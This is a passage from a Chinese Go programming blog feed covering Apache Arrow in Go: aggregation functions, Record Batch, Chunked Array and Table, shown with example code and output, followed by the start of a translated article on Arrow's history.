aggregation)，它的操作对象为一个array或一个标量，计算后输出一个标量值，常见的例子包括：count、min、max、mean、avg、sum等聚合计算；另外一类则是分组聚合(grouped aggregation)，即先按某些“key”列进行分组后，再分别聚合，有些类似SQL中的group by操作。下图(来自《In-Memory Analytics with Apache Arrow》一书)直观地解释了这两类函数的操作特性：\n不过遗憾的是Go尚未提供对这类聚合函数的直接支持。\n要想实现上述十分有用的聚合数据操作，在官方尚未提供支持之前，我们可以考虑自行扩展compute包。\n注：相对完整的标量聚合和分组聚合的函数列表，可以参考C++版本的API ref。\n3. 小结 鉴于本篇篇幅以及Go对聚合函数的尚未支持，计划中对Delhi CSV文件的聚合分析只能留到后面系列文章了。\n简单回顾一下本文内容。我们介绍了Go Arrow实现从CSV文件读取数据的方法以及一些技巧，然后我们介绍了Arrow除了其format之外的一个重点内容：compute API，这为基于arrow的array数据进行数据操作提供了开箱即用和高性能的API，大家要理解其中Datum的抽象概念，以及各类Function的操作对象和返回结果类型。\n注：本文涉及的源代码在这里可以下载。\n4. 参考资料 Make Data Files Easier to Work With Using Golang and Apache Arrow – https://voltrondata.com/resources/make-data-files-easier-to-work-with-golang-arrow 《In-Memory Analytics with Apache Arrow》- https://book.douban.com/subject/35954154/ C++ compute API – https://arrow.apache.org/docs/cpp/compute.html C++ Acero高级API – https://arrow.apache.org/docs/cpp/streaming_execution.html “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part4-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4\"\u003ehttps://tonybai.com/2023/07/13/a-guide-of-using-apache-arrow-for-gopher-part4\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在前面的Arrow系列文章中，我们介绍了\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003eArrow的基础数据类型\u003c/a\u003e以及\u003ca href=\"https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3\"\u003e高级数据类型\u003c/a\u003e，这让我们具备了在内存中建立起一个immutable数据集的能力。但这并非我们的目标，我们最终是要对建立起来的数据集进行查询和分析等操作(manipulation)的。\u003c/p\u003e\n\u003cp\u003e在这一篇文章中，我们就来看看如何基于Go arrow的实现对内存中的Arrow数据集进行操作。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：由于Arrow官方文档尚没有Go语言的cookbook，这里的一些例子参考了其他语言的Cookbook，比如\u003ca href=\"https://arrow.apache.org/cookbook/py\"\u003ePython\u003c/a\u003e。\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：数据操作"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3\n经过对前面两篇文章《Arrow数据类型》和《Arrow Go实现的内存管理》的学习，我们知道了各种Arrow array type以及它们在内存中的layout，我们了解了Go arrow实现在内存管理上的一些机制和使用原则。\nArrow的array type只是一个定长的、同类型的值序列。在实际应用中，array type更多时候只是充当基础类型，我们需要具有组合基础类型能力的更高级的数据结构。在这一篇文章中，我们就来看看Arrow规范以及一些实现中提供的高级数据结构，包括Record Batch、Chunked Array以及Table。\n我们先来看看Record Batch。\n1. Record Batch Record这个名字让我想起了Pascal编程语言中的Record。在Pascal中，Record的角色大致与Go中的Struct类似，也是一组异构字段的集合。下面是《In-Memory Analytics with Apache Arrow》书中的一个Record例子：\n// 以Go语言呈现 type Archer struct { archer string location string year int16 } Record Batch则顾名思义，是一批Record，即一个Record的集合：[N]Archer。\n如果将Record的各个字段作为列，将集合中的每个Record作为行，我们能得到如下面示意图中的结构：\nGo Arrow实现中没有直接使用“Record Batch”这个名字，而是使用了“Record”，这个“Record”实际代表的就是Record Batch。下面是Go Arrow实现定义的Record接口：\n// github.com/apache/arrow/go/arrow/record.go // Record is a collection of equal-length arrays matching a particular Schema. // Also known as a RecordBatch in the spec and in some implementations. // // It is also possible to construct a Table from a collection of Records that // all have the same schema. type Record interface { json.Marshaler Release() Retain() Schema() *Schema NumRows() int64 NumCols() int64 Columns() []Array Column(i int) Array ColumnName(i int) string SetColumn(i int, col Array) (Record, error) // NewSlice constructs a zero-copy slice of the record with the indicated // indices i and j, corresponding to array[i:j]. // The returned record must be Release()'d after use. // // NewSlice panics if the slice is outside the valid range of the record array. // NewSlice panics if j \u0026lt; i. NewSlice(i, j int64) Record } 我们依然可以使用Builder模式来创建一个arrow.Record，下面我们就来用Go代码创建[N]Archer这个Record Batch：\n// record_batch.go func main() { schema := arrow.NewSchema( []arrow.Field{ {Name: \u0026quot;archer\u0026quot;, Type: arrow.BinaryTypes.String}, {Name: \u0026quot;location\u0026quot;, Type: arrow.BinaryTypes.String}, {Name: \u0026quot;year\u0026quot;, Type: arrow.PrimitiveTypes.Int16}, }, nil, ) rb := array.NewRecordBuilder(memory.DefaultAllocator, schema) defer rb.Release() rb.Field(0).(*array.StringBuilder).AppendValues([]string{\u0026quot;tony\u0026quot;, \u0026quot;amy\u0026quot;, \u0026quot;jim\u0026quot;}, nil) rb.Field(1).(*array.StringBuilder).AppendValues([]string{\u0026quot;beijing\u0026quot;, \u0026quot;shanghai\u0026quot;, \u0026quot;chengdu\u0026quot;}, nil) rb.Field(2).(*array.Int16Builder).AppendValues([]int16{1992, 1993, 1994}, nil) rec := rb.NewRecord() defer rec.Release() fmt.Println(rec) } 运行上述示例，输出如下：\n$go run record_batch.go record: schema: fields: 3 - archer: type=utf8 - location: type=utf8 - year: type=int16 rows: 3 col[0][archer]: [\u0026quot;tony\u0026quot; \u0026quot;amy\u0026quot; \u0026quot;jim\u0026quot;] col[1][location]: [\u0026quot;beijing\u0026quot; \u0026quot;shanghai\u0026quot; \u0026quot;chengdu\u0026quot;] col[2][year]: [1992 1993 1994] 在这个示例里，我们看到了一个名为Schema的概念，并且NewRecordBuilder创建时需要传入一个arrow.Schema的实例。和数据库表Schema类似，Arrow中的Schema也是一个元数据概念，它包含一系列作为“列”的字段的名称和类型信息。Schema不仅在Record Batch中使用，在后面的Table中，Schema也是必要元素。\narrow.Record可以通过NewSlice可以ZeroCopy方式共享Record Batch的内存数据，NewSlice会创建一个新的Record Batch，这个Record Batch中的Record与原Record是共享的：\n// record_batch_slice.go sl := rec.NewSlice(0, 2) fmt.Println(sl) cols := sl.Columns() a1 := cols[0] fmt.Println(a1) 新的sl取了rec的前两个record，输出sl得到如下结果：\nrecord: schema: fields: 3 - archer: type=utf8 - location: type=utf8 - year: type=int16 rows: 2 col[0][archer]: [\u0026quot;tony\u0026quot; \u0026quot;amy\u0026quot;] col[1][location]: [\u0026quot;beijing\u0026quot; \u0026quot;shanghai\u0026quot;] col[2][year]: [1992 1993] [\u0026quot;tony\u0026quot; \u0026quot;amy\u0026quot;] 相同schema的record batch可以合并，我们只需要分配一个更大的Record Batch，然后将两个待合并的Record batch copy到新Record Batch中就可以了，但显然这样做的开销很大。\nArrow的一些实现中提供了Chunked Array的概念，可以更低开销的来完成某个列的array的追加。\n注：Chunked array并不是Arrow Columnar Format的一部分。\n2. Chunked Array 如果说Record Batch本质上是不同Array type的横向聚合，那么Chunked Array就是相同Array type的纵向聚合了，用Go语法表示就是：[N]Array或[]Array，即array of array。下面是一个Chunked Array的结构示意图：\n我们看到：Go的Chunked array的实现使用的是一个Array切片：\n// github.com/apache/arrow/go/arrow/table.go // Chunked manages a collection of primitives arrays as one logical large array. type Chunked struct { refCount int64 // refCount must be first in the struct for 64 bit alignment and sync/atomic (https://github.com/golang/go/issues/37262) chunks []Array length int nulls int dtype DataType } 按照Go切片的本质，Chunked Array中的各个元素Array间的实际内存buffer并不连续。并且正如示意图所示：每个Array的长度也并非是一样的。\n注：在《Go语言第一课》中的第15讲中有关于切片本质的深入系统的讲解。\n我们可以使用arrow包提供的NewChunked函数创建一个Chunked Array，具体见下面源码：\n// chunked_array.go func main() { ib := array.NewInt64Builder(memory.DefaultAllocator) defer ib.Release() ib.AppendValues([]int64{1, 2, 3, 4, 5}, nil) i1 := ib.NewInt64Array() defer i1.Release() ib.AppendValues([]int64{6, 7}, nil) i2 := ib.NewInt64Array() defer i2.Release() ib.AppendValues([]int64{8, 9, 10}, nil) i3 := ib.NewInt64Array() defer i3.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Int64, []arrow.Array{i1, i2, i3}, ) defer c.Release() for _, arr := range c.Chunks() { fmt.Println(arr) } fmt.Println(\u0026quot;chunked length =\u0026quot;, c.Len()) fmt.Println(\u0026quot;chunked null count=\u0026quot;, c.NullN()) } 我们看到在Chunked Array聚合了多个arrow.Array实例，并且这些arrow.Array实例的长短可不一致，arrow.Chunked的Len()返回的则是Chunked中Array的长度之和。下面是示例程序的输出结果：\n$go run chunked_array.go [1 2 3 4 5] [6 7] [8 9 10] chunked length = 10 chunked null count= 0 这样来看，Chunked Array可以看成一个逻辑上的大Array。\n好了，问题来了！Record Batch是用来聚合等长array type的，那么是否有某种数据结构可以用来聚合等长的Chunked Array呢？答案是有的！下面我们就来看看这种结构：Table。\n3. Table Table和Chunked Array一样并不属于Arrow Columnar Format的一部分，最初只是Arrow的C++实现中的一个数据结构，Go Arrow的实现也提供了对Table的支持。\nTable的结构示意图如下(图摘自《In-Memory Analytics with Apache Arrow》一书)：\n我们看到：和Record Batch的每列是一个array不同，Table的每一列为一个chunked array，所有列的chunked array的Length是相同的，但各个列的chunked array中的array的长度可以不同。\nTable和Record Batch相似的地方是都有自己的Schema。\n下面的示意图(来自这里)对Table和Chunked Array做了十分直观的对比：\nRecord Batch是Arrow Columnar format中的一部分，所有语言的实现都支持Record Batch；但Table并非format spec的一部分，并非所有语言的实现对其都提供支持。\n另外从图中看到，由于Table采用了Chunked Array作为列，chunked array下的各个array内部分布并不连续，这让Table在运行时丧失了一些局部性。\n下面我们就使用Go arrow实现来创建一个table，这是一个3列、10行的table：\n// table.go func main() { schema := arrow.NewSchema( []arrow.Field{ {Name: \u0026quot;col1\u0026quot;, Type: arrow.PrimitiveTypes.Int32}, {Name: \u0026quot;col2\u0026quot;, Type: arrow.PrimitiveTypes.Float64}, {Name: \u0026quot;col3\u0026quot;, Type: arrow.BinaryTypes.String}, }, nil, ) col1 := func() *arrow.Column { chunk := func() *arrow.Chunked { ib := array.NewInt32Builder(memory.DefaultAllocator) defer ib.Release() ib.AppendValues([]int32{1, 2, 3}, nil) i1 := ib.NewInt32Array() defer i1.Release() ib.AppendValues([]int32{4, 5, 6, 7, 8, 9, 10}, nil) i2 := ib.NewInt32Array() defer i2.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Int32, []arrow.Array{i1, i2}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(0), chunk) }() defer col1.Release() col2 := func() *arrow.Column { chunk := func() *arrow.Chunked { fb := array.NewFloat64Builder(memory.DefaultAllocator) defer fb.Release() fb.AppendValues([]float64{1.1, 2.2, 3.3, 4.4, 5.5}, nil) f1 := fb.NewFloat64Array() defer f1.Release() fb.AppendValues([]float64{6.6, 7.7}, nil) f2 := fb.NewFloat64Array() defer f2.Release() fb.AppendValues([]float64{8.8, 9.9, 10.0}, nil) f3 := fb.NewFloat64Array() defer f3.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Float64, []arrow.Array{f1, f2, f3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(1), chunk) }() defer col2.Release() col3 := func() *arrow.Column { chunk := func() *arrow.Chunked { sb := array.NewStringBuilder(memory.DefaultAllocator) defer sb.Release() sb.AppendValues([]string{\u0026quot;s1\u0026quot;, \u0026quot;s2\u0026quot;}, nil) s1 := sb.NewStringArray() defer s1.Release() sb.AppendValues([]string{\u0026quot;s3\u0026quot;, \u0026quot;s4\u0026quot;}, nil) s2 := sb.NewStringArray() defer s2.Release() sb.AppendValues([]string{\u0026quot;s5\u0026quot;, \u0026quot;s6\u0026quot;, \u0026quot;s7\u0026quot;, \u0026quot;s8\u0026quot;, \u0026quot;s9\u0026quot;, \u0026quot;s10\u0026quot;}, nil) s3 := sb.NewStringArray() defer s3.Release() c := arrow.NewChunked( arrow.BinaryTypes.String, []arrow.Array{s1, s2, s3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(2), chunk) }() defer col3.Release() var tbl arrow.Table tbl = array.NewTable(schema, []arrow.Column{*col1, *col2, *col3}, -1) defer tbl.Release() dumpTable(tbl) } func dumpTable(tbl arrow.Table) { s := tbl.Schema() fmt.Println(s) fmt.Println(\u0026quot;------\u0026quot;) fmt.Println(\u0026quot;the count of table columns=\u0026quot;, tbl.NumCols()) fmt.Println(\u0026quot;the count of table rows=\u0026quot;, tbl.NumRows()) fmt.Println(\u0026quot;------\u0026quot;) for i := 0; i \u0026lt; int(tbl.NumCols()); i++ { col := tbl.Column(i) fmt.Printf(\u0026quot;arrays in column(%s):\\n\u0026quot;, col.Name()) chunk := col.Data() for _, arr := range chunk.Chunks() { fmt.Println(arr) } fmt.Println(\u0026quot;------\u0026quot;) } } 我们看到：table创建之前，我们需要准备一个schema，以及各个column。每个column则是一个chunked array。\n运行上述代码，我们得到如下结果：\n$go run table.go schema: fields: 3 - col1: type=int32 - col2: type=float64 - col3: type=utf8 ------ the count of table columns= 3 the count of table rows= 10 ------ arrays in column(col1): [1 2 3] [4 5 6 7 8 9 10] ------ arrays in column(col2): [1.1 2.2 3.3 4.4 5.5] [6.6 7.7] [8.8 9.9 10] ------ arrays in column(col3): [\u0026quot;s1\u0026quot; \u0026quot;s2\u0026quot;] [\u0026quot;s3\u0026quot; \u0026quot;s4\u0026quot;] [\u0026quot;s5\u0026quot; \u0026quot;s6\u0026quot; \u0026quot;s7\u0026quot; \u0026quot;s8\u0026quot; \u0026quot;s9\u0026quot; \u0026quot;s10\u0026quot;] ------ table还支持schema变更，我们可以基于上述代码为table增加一列：\n// table_schema_change.go func main() { schema := arrow.NewSchema( []arrow.Field{ {Name: \u0026quot;col1\u0026quot;, Type: arrow.PrimitiveTypes.Int32}, {Name: \u0026quot;col2\u0026quot;, Type: arrow.PrimitiveTypes.Float64}, {Name: \u0026quot;col3\u0026quot;, Type: arrow.BinaryTypes.String}, }, nil, ) col1 := func() *arrow.Column { chunk := func() *arrow.Chunked { ib := array.NewInt32Builder(memory.DefaultAllocator) defer ib.Release() ib.AppendValues([]int32{1, 2, 3}, nil) i1 := ib.NewInt32Array() defer i1.Release() ib.AppendValues([]int32{4, 5, 6, 7, 8, 9, 10}, nil) i2 := ib.NewInt32Array() defer i2.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Int32, []arrow.Array{i1, i2}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(0), chunk) }() defer col1.Release() col2 := func() *arrow.Column { chunk := func() *arrow.Chunked { fb := array.NewFloat64Builder(memory.DefaultAllocator) defer fb.Release() fb.AppendValues([]float64{1.1, 2.2, 3.3, 4.4, 5.5}, nil) f1 := fb.NewFloat64Array() defer f1.Release() fb.AppendValues([]float64{6.6, 7.7}, nil) f2 := fb.NewFloat64Array() defer f2.Release() fb.AppendValues([]float64{8.8, 9.9, 10.0}, nil) f3 := fb.NewFloat64Array() defer f3.Release() c := arrow.NewChunked( arrow.PrimitiveTypes.Float64, []arrow.Array{f1, f2, f3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(1), chunk) }() defer col2.Release() col3 := func() *arrow.Column { chunk := func() *arrow.Chunked { sb := array.NewStringBuilder(memory.DefaultAllocator) defer sb.Release() sb.AppendValues([]string{\u0026quot;s1\u0026quot;, \u0026quot;s2\u0026quot;}, nil) s1 := sb.NewStringArray() defer s1.Release() sb.AppendValues([]string{\u0026quot;s3\u0026quot;, \u0026quot;s4\u0026quot;}, nil) s2 := sb.NewStringArray() defer s2.Release() sb.AppendValues([]string{\u0026quot;s5\u0026quot;, \u0026quot;s6\u0026quot;, \u0026quot;s7\u0026quot;, \u0026quot;s8\u0026quot;, \u0026quot;s9\u0026quot;, \u0026quot;s10\u0026quot;}, nil) s3 := sb.NewStringArray() defer s3.Release() c := arrow.NewChunked( arrow.BinaryTypes.String, []arrow.Array{s1, s2, s3}, ) return c }() defer chunk.Release() return arrow.NewColumn(schema.Field(2), chunk) }() defer col3.Release() var tbl arrow.Table tbl = array.NewTable(schema, []arrow.Column{*col1, *col2, *col3}, -1) defer tbl.Release() dumpTable(tbl) col4 := func() *arrow.Column { chunk := func() *arrow.Chunked { sb := array.NewStringBuilder(memory.DefaultAllocator) defer sb.Release() sb.AppendValues([]string{\u0026quot;ss1\u0026quot;, \u0026quot;ss2\u0026quot;}, nil) s1 := sb.NewStringArray() defer s1.Release() sb.AppendValues([]string{\u0026quot;ss3\u0026quot;, \u0026quot;ss4\u0026quot;, \u0026quot;ss5\u0026quot;}, nil) s2 := sb.NewStringArray() defer s2.Release() sb.AppendValues([]string{\u0026quot;ss6\u0026quot;, \u0026quot;ss7\u0026quot;, \u0026quot;ss8\u0026quot;, \u0026quot;ss9\u0026quot;, \u0026quot;ss10\u0026quot;}, nil) s3 := sb.NewStringArray() defer s3.Release() c := arrow.NewChunked( arrow.BinaryTypes.String, []arrow.Array{s1, s2, s3}, ) return c }() defer chunk.Release() return arrow.NewColumn(arrow.Field{Name: \u0026quot;col4\u0026quot;, Type: arrow.BinaryTypes.String}, chunk) }() defer col4.Release() tbl, err := tbl.AddColumn( 3, arrow.Field{Name: \u0026quot;col4\u0026quot;, Type: arrow.BinaryTypes.String}, *col4, ) if err != nil { panic(err) } dumpTable(tbl) } 运行上述示例，输出如下：\n$go run table_schema_change.go schema: fields: 3 - col1: type=int32 - col2: type=float64 - col3: type=utf8 ------ the count of table columns= 3 the count of table rows= 10 ------ arrays in column(col1): [1 2 3] [4 5 6 7 8 9 10] ------ arrays in column(col2): [1.1 2.2 3.3 4.4 5.5] [6.6 7.7] [8.8 9.9 10] ------ arrays in column(col3): [\u0026quot;s1\u0026quot; \u0026quot;s2\u0026quot;] [\u0026quot;s3\u0026quot; \u0026quot;s4\u0026quot;] [\u0026quot;s5\u0026quot; \u0026quot;s6\u0026quot; \u0026quot;s7\u0026quot; \u0026quot;s8\u0026quot; \u0026quot;s9\u0026quot; \u0026quot;s10\u0026quot;] ------ schema: fields: 4 - col1: type=int32 - col2: type=float64 - col3: type=utf8 - col4: type=utf8 ------ the count of table columns= 4 the count of table rows= 10 ------ arrays in column(col1): [1 2 3] [4 5 6 7 8 9 10] ------ arrays in column(col2): [1.1 2.2 3.3 4.4 5.5] [6.6 7.7] [8.8 9.9 10] ------ arrays in column(col3): [\u0026quot;s1\u0026quot; \u0026quot;s2\u0026quot;] [\u0026quot;s3\u0026quot; \u0026quot;s4\u0026quot;] [\u0026quot;s5\u0026quot; \u0026quot;s6\u0026quot; \u0026quot;s7\u0026quot; \u0026quot;s8\u0026quot; \u0026quot;s9\u0026quot; \u0026quot;s10\u0026quot;] ------ arrays in column(col4): [\u0026quot;ss1\u0026quot; \u0026quot;ss2\u0026quot;] [\u0026quot;ss3\u0026quot; \u0026quot;ss4\u0026quot; \u0026quot;ss5\u0026quot;] [\u0026quot;ss6\u0026quot; \u0026quot;ss7\u0026quot; \u0026quot;ss8\u0026quot; \u0026quot;ss9\u0026quot; \u0026quot;ss10\u0026quot;] ------ 这种对schema变更操作的支持在实际开发中也是非常有用的。\n4. 小结 本文讲解了基于array type的三个高级数据结构：Record Batch、Chunked Array和Table。其中Record Batch是Arrow Columnar Format中的结构，可以被所有实现arrow的编程语言所支持；Chunked Array和Table则是在一些编程语言的实现中创建的。\n三个概念容易混淆，这里给出简单记法：\nRecord Batch: schema + 长度相同的多个array Chunked Array: []array Table: schema + 总长度相同的多个Chunked Array 注：本文涉及的源代码在这里可以下载。\n5. 参考资料 Apache Arrow Glossary – https://arrow.apache.org/docs/format/Glossary.html “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part3-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3\"\u003ehttps://tonybai.com/2023/07/08/a-guide-of-using-apache-arrow-for-gopher-part3\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e经过对前面两篇文章\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003e《Arrow数据类型》\u003c/a\u003e和\u003ca href=\"https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\"\u003e《Arrow Go实现的内存管理》\u003c/a\u003e的学习，我们知道了各种Arrow array type以及它们在内存中的layout，我们了解了Go arrow实现在内存管理上的一些机制和使用原则。\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：高级数据结构"},{"content":"\n本文永久链接 – https://tonybai.com/2023/07/01/arrow-columnar-analytics\n本文翻译自Voltron Data公司CTO Wes McKinney的文章《Apache Arrow: Driving Columnar Analytics Performance and Connectivity》。这篇文章回顾了现代大数据分析遇到的问题、Arrow项目的起源、生态发展以及对未来的展望。\n以下是正文部分。\n引言 自MapReduce以来，大数据已经走了很长一段路。Jeffrey Dean和Sanjay Ghemawat在2004年发表于Google的论文催生了Apache Hadoop开源项目，以及一系列其他新项目，这些项目是因大量开发人员有捕获，存储和处理非常大的数据集的需求而创建的。\n图：大数据演进的3V(Volume、Variety和Velocity)\n虽然像Hadoop这样的第一个MapReduce框架能够处理大型数据集，但它们是为了大规模弹性（通过将每个处理步骤的结果写回分布式存储）而设计的，而并未过多考虑性能。Apache Spark于2010年首次发布，因其基于容错分布式内存处理的新架构而脱颖而出。Spark的核心是用Scala实现的，Scala是Java虚拟机（JVM）的编程语言。Spark为其他编程语言提供了binding实现，例如 C# .NET、Java、Python （PySpark） 和 R（SparkR 和 sparklyr），这有助于Spark在众多编程语言开发者社区的普及使用。\n图：数据处理生态系统演进\n在过去的十年中，像Python和R这样的解释式编程语言已经不再局限于其在科学计算和学术统计中的利基市场，一跃发展成为现代数据科学，商业分析和AI的主流工具。这些编程语言完全主导了“笔记本电脑规模”的数据处理工作。像Hadoop和Spark这样的大规模数据处理框架为Python等解释型语言提供了编程接口，但与JVM上运行的“本机”接口相比，使用这些语言绑定的性能和资源利用率通常都很差。\n解释型语言在使用主流大数据系统时所付出的性能损失主要源于数据互操作性问题。为了将数据从Java应用程序的核心运行时传递给用户的自定义Python函数（“用户定义函数”或“UDF”），必须将数据转换为可以Python所接受的格式，然后再转换为内置的Python对象，如列表、字典或基于数组的对象，如pandas DataFrames。更糟糕的是，许多框架，包括Spark和Hadoop，最初只为用户定义函数提供“一次一值”的执行模型，其中NumPy或pandas等工具则提供了“一次一数组”的执行模型，以避免Python解释器的开销。数据转换和解释器的双重昂贵开销使得Python基于大数据框架进行大规模数据处理变得愈加不现实。\nApache Spark通过引入Spark DataFrames来改善与Python的一些语言互操作性问题，Spark DataFrames是Spark SQL的一种新的类似pandas的API，它无需在Spark运行时和Python之间传输数据。不幸的是，任何需要使用Python的数据科学或机器学习库的应用程序都不走运。这给数据科学家和数据工程师带来了一个艰难的选择：用Python更快地开发，以换取更慢、更昂贵的工作负载，或者用Scala或Java重写关键工作负载。\nApache Arrow项目的起源 Apache Arrow的起源故事有点像微积分的创建：各自独立的开源开发人员团体在2010年代中期的同一时间都有过“尤里卡时刻”(译注：据说阿基米德洗澡时福至心灵，想出了如何测量皇冠体积的方法，因而惊喜地叫出了一声：“Eureka！”)。\n2014年底，我加入了Cloudera，开始与分别由Marcel Kornacker和Todd Lipcon领导的Apache Impala和Apache Kudu团队密切合作。我们对在大规模分布式存储和数据处理引擎之上为Python程序员（特别是pandas用户）构建直观和快速的开发人员体验上有一致的兴趣。当时的一个突出的问题是缺乏标准化的、高速的面向列的“数据协议”，以便在引擎和编程语言之间高效地传输数据。我们不想为我们的这个事情创建自定义数据格式，也不想使用像Google的Protocol Buffers或Apache Thrift这样的数据序列化技术，因为这些技术引入了过多的计算开销。我们开始设计一种新的列式数据格式，但我们知道，如果它是一个主要由Cloudera领导的项目，那么在大数据开源项目的高度政治化氛围中，它可能会有失败的风险。\n与此同时，Julien Le Dem和Jacques Nadeau，分别是Apache Parquet文件格式和Apache Drill查询引擎的共同创建者，他们正在探索一种方法，将Drill用于查询执行的内存列格式转变为独立的开源项目。这种数据格式被用作Dremio的基础，Dremio是一个基于SQL的开源数据湖引擎，使用它可以使得云中不同存储和数据处理系统之间更快，更高效的进行连接。\n值得庆幸的是，Julien、Marcel和Todd在几年前就已经合作设计了Parquet文件格式，所以我们取得了联系并决定共同解决问题，而不是启动单独的、几乎肯定不会兼容的项目。我们举行了一系列快速的面对面会议（现在来看，在2022年那几乎是不可想象的！），我们开始招募其他开源大数据领导者加入我们创建一个新项目，包括 Julian Hyde（Apache Calcite）、Reynold Xin （Apache Spark）、Michael Stack （Apache HBase）等等。\n2016年，在将Apache Arrow作为Apache软件基金会的顶级项目推出后，我们一直致力于使Arrow成为需要快速移动和处理数据的数据分析系统的首选项目。从那时起，该项目已成为高效的内存中列式分析和低开销数据传输的事实标准，它支持10多种编程语言。除了提供内存数据格式和互操作性协议外，我们还创建了一个功能全面的模块化计算库工具箱，为下一代分析计算系统打下坚实的基础。\n在启动Arrow项目仅一年后，与Two Sigma的我的新同事以及IBM的合作者的合作，让我们能够加速PySpark与Arrow的使用，在某些情况下实现了10-100倍的性能提升，并显著改善了将Python和pandas与Apache Spark一起使用的体验。看到我们对更快、更具互操作性的未来的愿景开始逐步实现，这真是令人兴奋。\n2018年，我与RStudio和Two Sigma合作成立了Ursa Labs，作为一个非营利性行业联盟，其使命是使Arrow成为下一代数据科学工具的强大计算基础。我参与Arrow的工作，除了解决数据互操作性问题外，还旨在解决现代硬件上的内存管理和内存计算效率问题。我們很幸运地获得了NVIDIA、Intel、G-Research、Bloomberg、ODSC和OneSixtyTwo Technologies的额外赞助。\n经过4年多的Apache Arrow开发，我们清楚地认识到，要促使Arrow下一阶段的增长和对企业的影响，仅通过行业赞助还不够，还需要获得更大的资本投资才行。于是在2020年底，我们决定将Ursa Labs团队从RStudio（为Ursa Labs提供了大部分资金和运营支持）中剥离出来，组建一家营利性公司Ursa Computing，并在2020年底筹集了一轮风险投资。不久之后，在2021年初，我们有机会与Arrow上的GPU分析、BlazingSQL和RAPIDS领导层的创新者联手，组建了一家统一的Arrow原生(Arrow-native)计算公司Voltron Data。Ursa Labs已成为Voltron Data Labs，Voltron Data内部的一个团队，其持续的使命是发展和支持Arrow生态系统，同时维护Apache Way的开放和透明的治理模型。\nApache Arrow项目的增长 如今，Arrow开发人员社区已发展到700多人，其中67人拥有提交权限。我们以创建跨语言开放标准和构建模块化软件组件为动力，以降低系统复杂性，同时提高性能和效率。我们一直在考虑将该项目视为一个软件开发工具包，旨在使开发人员能够释放Apache 